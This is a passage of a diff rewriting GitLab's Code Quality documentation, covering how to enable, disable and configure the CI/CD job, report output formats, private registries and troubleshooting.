- <iframe src="https://www.youtube.com/embed/B32LxtJKo9M" frameborder="0" allowfullscreen="true"> </iframe>
-</figure>
+> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2.
-NOTE:
-For one customer, the auditor found that having Code Quality, SAST, and Container Scanning all automated in GitLab CI/CD was almost better than a manual review! [Read more](https://about.gitlab.com/customers/bi_worldwide/).
+Code Quality analysis results display in the merge request widget area if a report from the target
+branch is available for comparison.
-See also the Code Climate list of [Supported Languages for Maintainability](https://docs.codeclimate.com/docs/supported-languages-for-maintainability).
+![Code Quality Widget](img/code_quality_widget_13_11.png)
-## Code Quality in diff view **(ULTIMATE)**
+### Merge request changes view **(ULTIMATE)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/267612) in GitLab 13.11, disabled by default behind the `codequality_mr_diff` [feature flag](../../administration/feature_flags.md).
> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/284140) in GitLab 13.12.
> - [Disabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/2526) in GitLab 14.0 due to [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/334116).
> - [Inline annotation added](https://gitlab.com/gitlab-org/gitlab/-/issues/2526) and [feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/284140) in GitLab 14.1.
-> - [Updated](https://gitlab.com/groups/gitlab-org/-/epics/8071) to handle multiple findings better in GitLab 15.7, disabled by default behind the `refactor_code_quality_inline_findings` [feature flag](../../administration/feature_flags.md).
-
-Changes to files in merge requests can cause Code Quality to fall if merged. In these cases,
-the merge request's diff view displays an indicator next to lines with new Code Quality violations. For example:
-
-![Code Quality MR diff report](img/code_quality_mr_diff_report_v15_7.png)
-
-## Example configuration
-This example shows how to run Code Quality on your code by using GitLab CI/CD and Docker.
+Code Quality results display in the merge request **Changes** view. Lines containing Code Quality
+issues are marked by an indicator beside the gutter. Hover over the marker for details of the issue.
-- Using shared runners, the job should be configured For the [Docker-in-Docker workflow](../docker/using_docker_build.md#use-docker-in-docker).
-- Using private runners, there is an [alternative configuration](#set-up-a-private-runner-for-code-quality-without-docker-in-docker) recommended for running Code Quality analysis more efficiently.
+![Code Quality MR diff report](img//code_quality_mr_diff_report_v15_7.png)
-In either configuration, the runner must have enough disk space to handle generated Code Quality files. For example on the [GitLab project](https://gitlab.com/gitlab-org/gitlab) the files are approximately 7 GB.
+### Pipeline details view **(PREMIUM)**
-Once you set up GitLab Runner, include the [Code Quality template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml) in your CI configuration:
+The full list of Code Quality violations generated by a pipeline is shown in the **Code Quality**
+tab of the pipeline's details page.
-```yaml
-include:
- - template: Code-Quality.gitlab-ci.yml
-```
-
-The above example creates a `code_quality` job in your CI/CD pipeline which
-scans your source code for code quality issues. The report is saved as a
-[Code Quality report artifact](../yaml/artifacts_reports.md#artifactsreportscodequality)
-that you can later download and analyze.
-
-It's also possible to override the URL to the Code Quality image by
-setting the `CODE_QUALITY_IMAGE` CI/CD variable. This is particularly useful if you want
-to lock in a specific version of Code Quality, or use a fork of it:
-
-```yaml
-include:
- - template: Code-Quality.gitlab-ci.yml
+![Code Quality Report](img/code_quality_report_13_11.png)
-code_quality:
- variables:
- CODE_QUALITY_IMAGE: "registry.example.com/codequality-fork:latest"
-```
+## Enable Code Quality
-In [GitLab 13.4 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/11100), you can override the [Code Quality environment variables](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables):
+Prerequisites:
-```yaml
-variables:
- TIMEOUT_SECONDS: 1
+- GitLab CI/CD configuration (`.gitlab-ci.yml`) must include the `test` stage.
+- If you're using shared runners, the Code Quality job must be configured for the
+ [Docker-in-Docker workflow](../docker/using_docker_build.md#use-docker-in-docker).
+- If you're using private runners, you should use an
+ [alternative configuration](#improve-code-quality-performance-with-private-runners)
+ recommended for running Code Quality analysis more efficiently.
+- The runner must have enough disk space to store the generated Code Quality files. For example, on
+ the [GitLab project](https://gitlab.com/gitlab-org/gitlab) the files are approximately 7 GB.
-include:
- - template: Code-Quality.gitlab-ci.yml
-```
+To enable Code Quality, either:
-By default, report artifacts are not downloadable. If you need them downloadable on the
-job details page, you can add `gl-code-quality-report.json` to the artifact paths like so:
+- Enable [Auto DevOps](../../topics/autodevops/index.md), which includes
+ [Auto Code Quality](../../topics/autodevops/stages.md#auto-secret-detection).
-```yaml
-include:
- - template: Code-Quality.gitlab-ci.yml
+- Include the Code Quality template in your
+ `.gitlab-ci.yml` file.
-code_quality:
- artifacts:
- paths: [gl-code-quality-report.json]
-```
-
-The included `code_quality` job is running in the `test` stage, so it needs to be included in your CI configuration, like so:
+ Example:
-```yaml
-stages:
- - test
-```
+ ```yaml
+ include:
+ - template: Code-Quality.gitlab-ci.yml
+ ```
-NOTE:
-This information is automatically extracted and shown right in the merge request widget.
+ Code Quality now runs in pipelines.
WARNING:
-On self-managed instances, if a malicious actor compromises the Code Quality job
-definition they could execute privileged Docker commands on the runner
-host. Having proper access control policies mitigates this attack vector by
-allowing access only to trusted actors.
+On self-managed instances, if a malicious actor compromises the Code Quality job definition they
+could execute privileged Docker commands on the runner host. Having proper access control policies
+mitigates this attack vector by allowing access only to trusted actors.
+
+### Improve Code Quality performance with private runners
-### Set up a private runner for code quality without Docker-in-Docker
+If you have private runners, you should use this configuration for improved performance of Code
+Quality because:
-It's possible to configure your own runners and avoid Docker-in-Docker. You can use a
-configuration that may greatly speed up job execution without requiring your runners
-to operate in privileged mode.
+- Privileged mode is not used.
+- Docker-in-Docker is not used.
+- Docker images, including all CodeClimate images, are cached, and not re-fetched for subsequent jobs.
This alternative configuration uses socket binding to share the Runner's Docker daemon
-with the job environment. Be aware that this configuration [has significant considerations](../docker/using_docker_build.md#use-docker-socket-binding)
-to be consider, but may be preferable depending on your use case.
+with the job environment. Before implementing this configuration, consider its
+[limitations](../docker/using_docker_build.md#use-docker-socket-binding).
+
+To use private runners:
1. Register a new runner:
@@ -223,73 +186,136 @@ to be consider, but may be preferable depending on your use case.
- cq-sans-dind # Set this job to only run on our new specialized runner
```
-The end result is that:
+Code Quality now runs in standard Docker mode.
-- Privileged mode is not used.
-- Docker-in-Docker is not used.
-- Docker images, including all CodeClimate images, are cached, and not re-fetched for subsequent jobs.
+## Disable Code Quality
-With this configuration, the run time for a second pipeline is much shorter. For example
-this [small change](https://gitlab.com/drew/test-code-quality-template/-/merge_requests/4/diffs?commit_id=1e705607aef7236c1b20bb6f637965f3f3e53a46)
-to an [open merge request](https://gitlab.com/drew/test-code-quality-template/-/merge_requests/4/pipelines)
-running Code Quality analysis ran significantly faster the second time:
+The `code_quality` job doesn't run if the `$CODE_QUALITY_DISABLED` CI/CD variable
+is present. Refer to the CI/CD variables [documentation](../variables/index.md)
+to learn more about how to define one.
-![Code Quality sequential runs without DinD](img/code_quality_host_bound_sequential.png)
+To disable Code Quality, create a custom CI/CD variable named `CODE_QUALITY_DISABLED`, for either:
-This configuration is not possible on `gitlab.com` shared runners. Shared runners
-are configured with `privileged=true`, and they do not expose `docker.sock` into
-the job container. As a result, socket binding cannot be used to make `docker` available
-in the context of the job script.
+- [The whole project](../variables/index.md#for-a-project).
+- [A single pipeline](../variables/index.md#override-a-variable-when-running-a-pipeline-manually).
-[Docker-in-Docker](../docker/using_docker_build.md#use-docker-in-docker)
-was chosen as an operational decision by the runner team, instead of exposing `docker.sock`.
+## Customizing scan settings
-### Disabling the code quality job
+The Code Quality scan settings can be changed using [CI/CD variables](#available-cicd-variables)
+in `.gitlab-ci.yml`.
-The `code_quality` job doesn't run if the `$CODE_QUALITY_DISABLED` CI/CD variable
-is present. Please refer to the CI/CD variables [documentation](../variables/index.md)
-to learn more about how to define one.
+To configure the Code Quality job:
+
+1. Declare a job with the same name as the Code Quality job, after the template's inclusion.
+1. Specify additional keys in the job's stanza.
-To disable the `code_quality` job, add `CODE_QUALITY_DISABLED` as a custom CI/CD variable.
-This can be done:
+For an example, see [Download output in JSON format](#download-output-in-json-format).
-- For [the whole project](../variables/index.md#custom-cicd-variables).
-- For a single pipeline run:
+### Available CI/CD variables
- 1. Go to **CI/CD > Pipelines**
- 1. Select **Run pipeline**
- 1. Add `CODE_QUALITY_DISABLED` as the variable key, with any value.
+> In [GitLab 13.4 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/11100), the option to override the Code Quality environment variables was added.
-### Using with merge request pipelines
+Code Quality can be customized by defining available CI/CD variables:
-The configuration provided by the Code Quality template does not let the `code_quality` job
-run on [merge request pipelines](../pipelines/merge_request_pipelines.md).
+| CI/CD variable | Description |
+| --------------------------- | ----------- |
+| `SOURCE_CODE` | Path to the source code to scan. |
+| `TIMEOUT_SECONDS` | Custom timeout for the `codeclimate analyze` command. |
+| `CODECLIMATE_DEBUG` | Set to enable [Code Climate debug mode](https://github.com/codeclimate/codeclimate#environment-variables) |
+| `CODECLIMATE_DEV` | Set to enable `--dev` mode which lets you run engines not known to the CLI. |
+| `REPORT_STDOUT` | Set to print the report to `STDOUT` instead of generating the usual report file. |
+| `REPORT_FORMAT` | Set to control the format of the generated report file. One of: `json\|html`. |
+| `ENGINE_MEMORY_LIMIT_BYTES` | Set the memory limit for engines, default is 1,024,000,000 bytes. |
+| `CODE_QUALITY_DISABLED` | Prevents the Code Quality job from running. |
+| `CODECLIMATE_PREFIX` | Set a prefix to use with all `docker pull` commands in CodeClimate engines. Useful for [offline scanning](https://github.com/codeclimate/codeclimate/pull/948). |
-If merge request pipelines is enabled, the `code_quality:rules` must be redefined.
+## Output
-The template has these [`rules`](../yaml/index.md#rules) for the `code quality` job:
+Code Quality creates a file named `gl-code-quality-report.json`. The content of this file is
+processed internally and the results shown in the UI. To see the raw results, you can
+configure the Code Quality job to allow download of this file. Format options are JSON format, HTML
+format, or both. Use the HTML format to view the report in a more human-readable
+format. For example, you could publish the HTML format file on GitLab Pages for even easier
+reviewing.
+
+### Download output in JSON format
+
+To be able to download the Code Quality report in JSON format, declare the
+`gl-code-quality-report.json` file as an artifact of the `code_quality` job:
```yaml
+include:
+ - template: Code-Quality.gitlab-ci.yml
+
code_quality:
- rules:
- - if: $CODE_QUALITY_DISABLED
- when: never
- - if: $CI_COMMIT_TAG || $CI_COMMIT_BRANCH
+ artifacts:
+ paths: [gl-code-quality-report.json]
```
-If you are using merge request pipelines, your `rules` (or [`workflow: rules`](../yaml/index.md#workflow))
-might look like this example:
+The full JSON file is available as a
+[downloadable artifact](../pipelines/job_artifacts.md#download-job-artifacts) of the `code_quality`
+job.
+
+### Download output in JSON and HTML format
+
+> HTML report format [introduced](https://gitlab.com/gitlab-org/ci-cd/codequality/-/issues/10) in GitLab 13.6.
+
+NOTE:
+To create the HTML format file, the Code Quality job must be run twice, once for each format.
+In this configuration, the JSON format file is created but it is only processed internally.
+
+To be able to download the Code Quality report in both JSON and HTML format, add another job to your
+template by using `extends: code_quality`:
```yaml
-job1:
- rules:
- - if: $CI_PIPELINE_SOURCE == "merge_request_event" # Run job1 in merge request pipelines
- - if: $CI_COMMIT_BRANCH == "main" # Run job1 in pipelines on the main branch (but not in other branch pipelines)
- - if: $CI_COMMIT_TAG # Run job1 in pipelines for tags
+include:
+ - template: Code-Quality.gitlab-ci.yml
+
+code_quality_html:
+ extends: code_quality
+ variables:
+ REPORT_FORMAT: html
+ artifacts:
+ paths: [gl-code-quality-report.html]
```
-To make these work together, you need to overwrite the code quality `rules`
-so that they match your current `rules`. From the example above, it could look like:
+Both the JSON and HTML files are available as
+[downloadable artifacts](../pipelines/job_artifacts.md#download-job-artifacts) of the `code_quality`
+job.
+
+### Download output in only HTML format
+
+To download the Code Quality report in _only_ an HTML format file, set `REPORT_FORMAT` to `html` in
+the existing job.
+
+NOTE:
+This does not create a JSON format file, so Code Quality results are not shown in the
+merge request widget, pipeline report, or changes view.
+
+```yaml
+include:
+ - template: Code-Quality.gitlab-ci.yml
+
+code_quality:
+ variables:
+ REPORT_FORMAT: html
+ artifacts:
+ paths: [gl-code-quality-report.html]
+```
+
+The HTML file is available as a
+[downloadable artifact](../pipelines/job_artifacts.md#download-job-artifacts) of the `code_quality`
+job.
+
+## Use Code Quality with merge request pipelines
+
+The default Code Quality configuration does not allow the `code_quality` job to run on
+[merge request pipelines](../pipelines/merge_request_pipelines.md).
+
+To enable Code Quality to run on merge request pipelines, overwrite the code quality `rules`,
+or [`workflow: rules`](../yaml/index.md#workflow), so that they match your current `rules`.
+
+For example:
```yaml
include:
@@ -304,14 +330,13 @@ code_quality:
- if: $CI_COMMIT_TAG # Run code quality job in pipelines for tags
```
-### Configure Code Quality to use a private container image registry
+## Use a private container image registry
-> [Introduced](https://gitlab.com/gitlab-org/ci-cd/codequality/-/merge_requests/30) in 13.7.
+> [Introduced](https://gitlab.com/gitlab-org/ci-cd/codequality/-/merge_requests/30) in GitLab 13.7.
-To reduce network time and external dependency, you can use your own
-container image registry to host the Code Quality Docker images. Because of
-the nested architecture of container execution, the registry prefix must
-be specifically configured to be passed down into CodeClimate's subsequent
+Using a private container image registry can reduce the time taken to download images, and also
+reduce external dependencies. Because of the nested architecture of container execution, the
+registry prefix must be specifically configured to be passed down into CodeClimate's subsequent
`docker pull` commands for individual engines.
The following variables can address all of the required image pulls:
@@ -320,7 +345,8 @@ The following variables can address all of the required image pulls:
accessible from your job environment. GitLab Container Registry can be used here
to host your own copy.
- `CODECLIMATE_PREFIX`: The domain of your intended container image registry. This
- is a configuration option supported by [CodeClimate CLI](https://github.com/codeclimate/codeclimate/pull/948). You must:
+ is a configuration option supported by [CodeClimate CLI](https://github.com/codeclimate/codeclimate/pull/948).
+ You must:
- Include a trailing slash (`/`).
- Not include a protocol prefix, such as `https://`.
- `CODECLIMATE_REGISTRY_USERNAME`: An optional variable to specify the username for the registry domain parsed from `CODECLIMATE_PREFIX`.
@@ -328,7 +354,7 @@ The following variables can address all of the required image pulls:
```yaml
include:
- - template: Jobs/Code-Quality.gitlab-ci.yml
+ - template: Code-Quality.gitlab-ci.yml
code_quality:
variables:
@@ -336,13 +362,13 @@ code_quality:
CODECLIMATE_PREFIX: "my-private-registry.local:12345/"
```
-This example is specific to GitLab Code Quality. For more general
-instructions on how to configure DinD with a registry mirror, see the
-relevant [documentation](../docker/using_docker_build.md#enable-registry-mirror-for-dockerdind-service).
+This example is specific to GitLab Code Quality. For more general instructions on how to configure
+DinD with a registry mirror, see
+[Enable registry mirror for Docker-in-Docker service](../docker/using_docker_build.md#enable-registry-mirror-for-dockerdind-service).
-#### List of images to be stored in the private container registry
+### Required images
-The following images are needed for the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template):
+The following images are required for the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template):
- `codeclimate/codeclimate-structure:latest`
- `codeclimate/codeclimate-csslint:latest`
@@ -354,30 +380,22 @@ The following images are needed for the [default `.codeclimate.yml`](https://git
If you are using a custom `.codeclimate.yml` configuration file, you must add the specified plugins in your private container registry.
-#### Configure Code Quality to use the Dependency Proxy
+## Use DockerHub with authentication
-Prerequisite:
+You can use DockerHub as an alternate source of the Code Quality images.
-- The project must be in a group where the [Dependency Proxy](../../user/packages/dependency_proxy/index.md) is enabled.
+Prerequisites:
-Here is an example of how to configure Code Quality to use the Dependency Proxy:
+- Add the username and password as [protected CI/CD variables](../variables/index.md#for-a-project)
+ in the project.
-```yaml
-include:
- - template: Jobs/Code-Quality.gitlab-ci.yml
+To use DockerHub, configure the following variables in the `.gitlab-ci.yml` file:
-code_quality:
- variables:
- CODE_QUALITY_IMAGE: "$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/codequality:0.85.24"
- ## You must add a trailing slash to `$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`.
- CODECLIMATE_PREFIX: $CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/
- CODECLIMATE_REGISTRY_USERNAME: $CI_DEPENDENCY_PROXY_USER
- CODECLIMATE_REGISTRY_PASSWORD: $CI_DEPENDENCY_PROXY_PASSWORD
-```
+- `CODECLIMATE_PREFIX`
+- `CODECLIMATE_REGISTRY_USERNAME`
+- `CODECLIMATE_REGISTRY_PASSWORD`
-#### Configure Code Quality to use Dockerhub with authentication
-
-Here is an example of how to configure Code Quality to use Dockerhub with authentication:
+Example:
```yaml
include:
@@ -390,29 +408,43 @@ code_quality:
CODECLIMATE_REGISTRY_PASSWORD: $DOCKERHUB_PASSWORD
```
-You should add the username and password as [protected CI/CD variables](../variables/index.md#add-a-cicd-variable-to-a-project)
-in the project.
+## Use the Dependency Proxy
-## Configuring jobs using variables
+You can use a Dependency Proxy to reduce the time taken to download dependencies.
-The Code Quality job supports environment variables that users can set to
-configure job execution at runtime.
+Prerequisite:
-For a list of available environment variables, see
-[Environment variables](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables).
+- [Dependency Proxy](../../user/packages/dependency_proxy/index.md) enabled in the project's
+ group.
-## Implementing a custom tool
+To reference the Dependency Proxy, configure the following variables in the `.gitlab-ci.yml` file:
-It's possible to have a custom tool provide Code Quality reports in GitLab. To
-do this:
+- `CODE_QUALITY_IMAGE`
+- `CODECLIMATE_PREFIX`
+- `CODECLIMATE_REGISTRY_USERNAME`
+- `CODECLIMATE_REGISTRY_PASSWORD`
-1. Define a job in your `.gitlab-ci.yml` file that generates the
- [Code Quality report artifact](../yaml/artifacts_reports.md#artifactsreportscodequality).
-1. Configure your tool to generate the Code Quality report artifact as a JSON
- file that implements a subset of the [Code Climate spec](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types).
+For example:
+
+```yaml
+include:
+ - template: Code-Quality.gitlab-ci.yml
+
+code_quality:
+ variables:
+ CODE_QUALITY_IMAGE: "$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/codequality:0.85.24"
+ ## You must add a trailing slash to `$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`.
+ CODECLIMATE_PREFIX: $CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX/
+ CODECLIMATE_REGISTRY_USERNAME: $CI_DEPENDENCY_PROXY_USER
+ CODECLIMATE_REGISTRY_PASSWORD: $CI_DEPENDENCY_PROXY_PASSWORD
+```
+
+## Implement a custom tool
-The Code Quality report artifact JSON file must contain an array of objects
-with the following properties:
+You can integrate a custom tool into GitLab to provide Code Quality reports.
+
+The Code Quality report artifact JSON file must contain an array of objects with the following
+properties:
| Name | Description |
| ---------------------- | ----------------------------------------------------------------------------------------- |
@@ -422,6 +454,18 @@ with the following properties:
| `location.path` | The relative path to the file containing the code quality violation. |
| `location.lines.begin` or `location.positions.begin.line` | The line on which the code quality violation occurred. |
+NOTE:
+Although the Code Climate specification supports more properties, those are ignored by GitLab.
+The GitLab parser does not allow a [byte order mark](https://en.wikipedia.org/wiki/Byte_order_mark)
+at the beginning of the file.
+
+To implement a custom Code Quality tool:
+
+1. Define a job in your `.gitlab-ci.yml` file that generates the
+ [Code Quality report artifact](../yaml/artifacts_reports.md#artifactsreportscodequality).
+1. Configure the tool to generate the Code Quality report artifact as a JSON
+ file that implements a subset of the [Code Climate spec](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types).
+
Example:
```json
@@ -440,163 +484,33 @@ Example:
]
```
-NOTE:
-Although the Code Climate spec supports more properties, those are ignored by
-GitLab.
-The GitLab parser does not allow a [byte order mark](https://en.wikipedia.org/wiki/Byte_order_mark)
-at the beginning of the file.
+## Using Analysis Plugins
-## Code Quality reports **(PREMIUM)**
+Code Quality functionality can be extended by using Code Climate
+[Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines).
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21527) in GitLab 12.9.
-
-![Code Quality Report](img/code_quality_report_13_11.png)
+For example, to use the [SonarJava analyzer](https://docs.codeclimate.com/docs/sonar-java):
-After the Code Quality job completes:
+1. Add a file named `.codeclimate.yml` to the root of your repository
+1. Add to the `.codeclimate.yml` the [enablement code](https://docs.codeclimate.com/docs/sonar-java#enable-the-plugin)
+ for the plugin to the root of your repository:
-- Potential changes to code quality are shown directly in the merge request.
- The Code Quality widget in the merge request compares the reports from the base and head of the branch,
- then lists any violations that are resolved or created when the branch is merged.
-- The full JSON report is available as a
- [downloadable artifact](../pipelines/job_artifacts.md#download-job-artifacts)
- for the `code_quality` job.
-- The full list of code quality violations generated by a pipeline is shown in the
- Code Quality tab of the Pipeline Details page.
+ ```yaml
+ version: "2"
+ plugins:
+ sonar-java:
+ enabled: true
+ ```
-## Generate an HTML report
-
-In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/ci-cd/codequality/-/issues/10),
-it is possible to generate an HTML report file by setting the `REPORT_FORMAT`
-CI/CD variable to `html`. This is useful if you just want to view the report in a more
-human-readable format or to publish this artifact on GitLab Pages for even
-easier reviewing.
-
-To generate both JSON and HTML report files, add another job to your template by using `extends: code_quality`:
-
-```yaml
-include:
- - template: Code-Quality.gitlab-ci.yml
-
-code_quality_html:
- extends: code_quality
- variables:
- REPORT_FORMAT: html
- artifacts:
- paths: [gl-code-quality-report.html]
-```
-
-NOTE:
-Adding a job means your code is scanned twice: once to generate a JSON report and once to generate an HTML report.
-
-You can also generate _only_ an HTML report instead of the standard JSON report. To do so, set `REPORT_FORMAT` to `html` in the existing job:
-
-```yaml
-include:
- - template: Code-Quality.gitlab-ci.yml
-
-code_quality:
- variables:
- REPORT_FORMAT: html
- artifacts:
- paths: [gl-code-quality-report.html]
-```
-
-WARNING:
-If you only generate an HTML report, you can't see your results in the [merge request widget](#code-quality-widget), [pipeline report](#code-quality-reports), or [diff view](#code-quality-in-diff-view).
-These features require a JSON report.
-
-## Extending functionality
-
-### Using Analysis Plugins
-
-Should there be a need to extend the default functionality provided by Code Quality, as stated in [Code Quality](#code-quality), [Analysis Plugins](https://docs.codeclimate.com/docs/list-of-engines) are available.
-
-For example, to use the [SonarJava analyzer](https://docs.codeclimate.com/docs/sonar-java),
-add a file named `.codeclimate.yml` containing the [enablement code](https://docs.codeclimate.com/docs/sonar-java#enable-the-plugin)
-for the plugin to the root of your repository:
-
-```yaml
-version: "2"
-plugins:
- sonar-java:
- enabled: true
-```
-
-This adds SonarJava to the `plugins:` section of the [default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template)
+This adds SonarJava to the `plugins:` section of the
+[default `.codeclimate.yml`](https://gitlab.com/gitlab-org/ci-cd/codequality/-/blob/master/codeclimate_defaults/.codeclimate.yml.template)
included in your project.
-Changes to the `plugins:` section do not affect the `exclude_patterns` section of the
-default `.codeclimate.yml`. See the Code Climate documentation for
+Changes to the `plugins:` section do not affect the `exclude_patterns` section of the default
+`.codeclimate.yml`. See the Code Climate documentation on
[excluding files and folders](https://docs.codeclimate.com/docs/excluding-files-and-folders)
for more details.
-Here's [an example project](https://gitlab.com/jheimbuck_gl/jh_java_example_project) that uses Code Quality with a `.codeclimate.yml` file.
-
-## Use a Code Quality image hosted in a registry with untrusted certificates
-
-If you set the `CODE_QUALITY_IMAGE` to an image that is hosted in a
-Docker registry which uses a TLS certificate that is not trusted, such as
-a self-signed certificate, you can see errors like the one below:
-
-```shell
-$ docker pull --quiet "$CODE_QUALITY_IMAGE"
-Error response from daemon: Get https://gitlab.example.com/v2/: x509: certificate signed by unknown authority
-```
-
-To fix this, configure the Docker daemon to [trust certificates](https://docs.docker.com/registry/insecure/#use-self-signed-certificates)
-by putting the certificate inside of the `/etc/docker/certs.d`
-directory.
-
-This Docker daemon is exposed to the subsequent Code Quality Docker container in the
-[GitLab Code Quality template](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.8.3-ee/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml#L41)
-and should be to exposed any other containers in which you want to have
-your certificate configuration apply.
-
-### Docker
-
-If you have access to GitLab Runner configuration, add the directory as a
-[volume mount](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section). For example:
-
-```toml
-[[runners]]
- ...
- executor = "docker"
- [runners.docker]
- ...
- privileged = true
- volumes = ["/cache", "/etc/gitlab-runner/certs/gitlab.example.com.crt:/etc/docker/certs.d/gitlab.example.com/ca.crt:ro"]
-```
-
-Replace `gitlab.example.com` with the actual domain of the registry.
-
-### Kubernetes
-
-If you have access to GitLab Runner configuration and the Kubernetes cluster,
-you can [mount a ConfigMap](https://docs.gitlab.com/runner/executors/kubernetes.html#configmap-volumes):
-
-1. Create a ConfigMap with the certificate:
-
- ```shell
- kubectl create configmap registry-crt --namespace gitlab-runner --from-file /etc/gitlab-runner/certs/gitlab.example.com.crt
- ```
-
-1. Update GitLab Runner `config.toml` to specify the ConfigMap:
-
- ```toml
- [[runners]]
- ...
- executor = "kubernetes"
- [runners.kubernetes]
- image = "alpine:3.12"
- privileged = true
- [[runners.kubernetes.volumes.config_map]]
- name = "registry-crt"
- mount_path = "/etc/docker/certs.d/gitlab.example.com/ca.crt"
- sub_path = "gitlab.example.com.crt"
- ```
-
-Replace `gitlab.example.com` with the actual domain of the registry.
-
## Troubleshooting
### Changing the default configuration has no effect
@@ -611,28 +525,36 @@ is still used.
This can be due to multiple reasons:
-- You just added the Code Quality job in your `.gitlab-ci.yml`. The report does not
- have anything to compare to yet, so no information can be displayed. It only displays
- after future merge requests have something to compare to.
-- Your pipeline is not set to run the code quality job on your target branch. If there is no report generated from the target branch, your MR branch reports have nothing to compare to. In this situation you will see an error stating `Base pipeline codequality artifact not found`.
+- You just added the Code Quality job in your `.gitlab-ci.yml`. The report does not have anything to
+ compare to yet, so no information can be displayed. It only displays after future merge requests
+ have something to compare to.
+- Your pipeline is not set to run the code quality job on your target branch. If there is no report
+ generated from the target branch, your merge request branch reports have nothing to compare to. In this
+ situation you get an error stating `Base pipeline codequality artifact not found`.
- If no [degradation or error is detected](https://docs.codeclimate.com/docs/maintainability#section-checks),
nothing is displayed.
-- The [`artifacts:expire_in`](../yaml/index.md#artifactsexpire_in) CI/CD
- setting can cause the Code Quality artifacts to expire faster than desired.
-- The widgets use the pipeline of the latest commit to the target branch. If commits are made to the default branch that do not run the code quality job, this may cause the merge request widget to have no base report for comparison.
-- If you use the [`REPORT_STDOUT` environment variable](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables), no report file is generated and nothing displays in the merge request.
+- The [`artifacts:expire_in`](../yaml/index.md#artifactsexpire_in) CI/CD setting can cause the Code
+ Quality artifacts to expire faster than desired.
+- The widgets use the pipeline of the latest commit to the target branch. If commits are made to the
+ default branch that do not run the code quality job, this may cause the merge request widget to
+ have no base report for comparison.
+- If you use the [`REPORT_STDOUT` environment variable](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables),
+ no report file is generated and nothing displays in the merge request.
- Large `gl-code-quality-report.json` files (esp. >10 MB) are [known to prevent the report from being displayed](https://gitlab.com/gitlab-org/gitlab/-/issues/2737).
- As a work-around, try removing [properties](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types)
- that are [ignored by GitLab](#implementing-a-custom-tool). You can:
+ As a workaround, try removing [properties](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types)
+ that are [ignored by GitLab](#implement-a-custom-tool). You can:
- Configure the Code Quality tool to not output those types.
- - Use `sed`, `awk` or similar commands in the `.gitlab-ci.yml` script to
- edit the `gl-code-quality-report.json` before the job completes.
+ - Use `sed`, `awk` or similar commands in the `.gitlab-ci.yml` script to edit the
+ `gl-code-quality-report.json` before the job completes.
### Only a single Code Quality report is displayed, but more are defined
-GitLab only uses the Code Quality artifact from the latest created job (with the largest job ID).
+Starting [in GitLab 15.7](https://gitlab.com/gitlab-org/gitlab/-/issues/340525), Code Quality combines the results from all jobs in a pipeline.
+
+In previous versions, GitLab only uses the Code Quality artifact from the latest created job (with the largest job ID).
If multiple jobs in a pipeline generate a code quality artifact, those of earlier jobs are ignored.
-To avoid confusion, configure only one job to generate a `gl-code-quality-report.json`.
+
+To avoid confusion, configure only one job to generate a `gl-code-quality-report.json` file.
### RuboCop errors
@@ -666,19 +588,21 @@ plugins:
### No Code Quality appears on merge requests when using custom tool
-If your merge requests do not show any code quality changes when using a custom tool,
-ensure that the line property is an `integer`.
+If your merge requests do not show any Code Quality changes when using a custom tool, ensure that
+the line property is an `integer`.
-### Code Quality CI job with Code Climate plugins enabled fails with error
+### Error: `Could not analyze code quality`
-If you enabled any of the Code Climate plugins, and the Code Quality CI job fails with the error
-below, it's likely the job takes longer than the default timeout of 900 seconds:
+You might get the error:
```shell
error: (CC::CLI::Analyze::EngineFailure) engine pmd ran for 900 seconds and was killed
Could not analyze code quality for the repository at /code
```
+If you enabled any of the Code Climate plugins, and the Code Quality CI/CD job fails with this
+error message, it's likely the job takes longer than the default timeout of 900 seconds:
+
To work around this problem, set `TIMEOUT_SECONDS` to a higher value in your `.gitlab.-ci.yml` file.
For example:
@@ -687,3 +611,79 @@ For example:
variables:
TIMEOUT_SECONDS: 3600
```
+
+### Using Code Quality with Kubernetes CI executor
+
+Code Quality requires a Docker in Docker setup to work. The Kubernetes executor already [has support for this](https://docs.gitlab.com/runner/executors/kubernetes.md#using-dockerdind).
+
+To ensure Code Quality jobs can run on a Kubernetes executor:
+
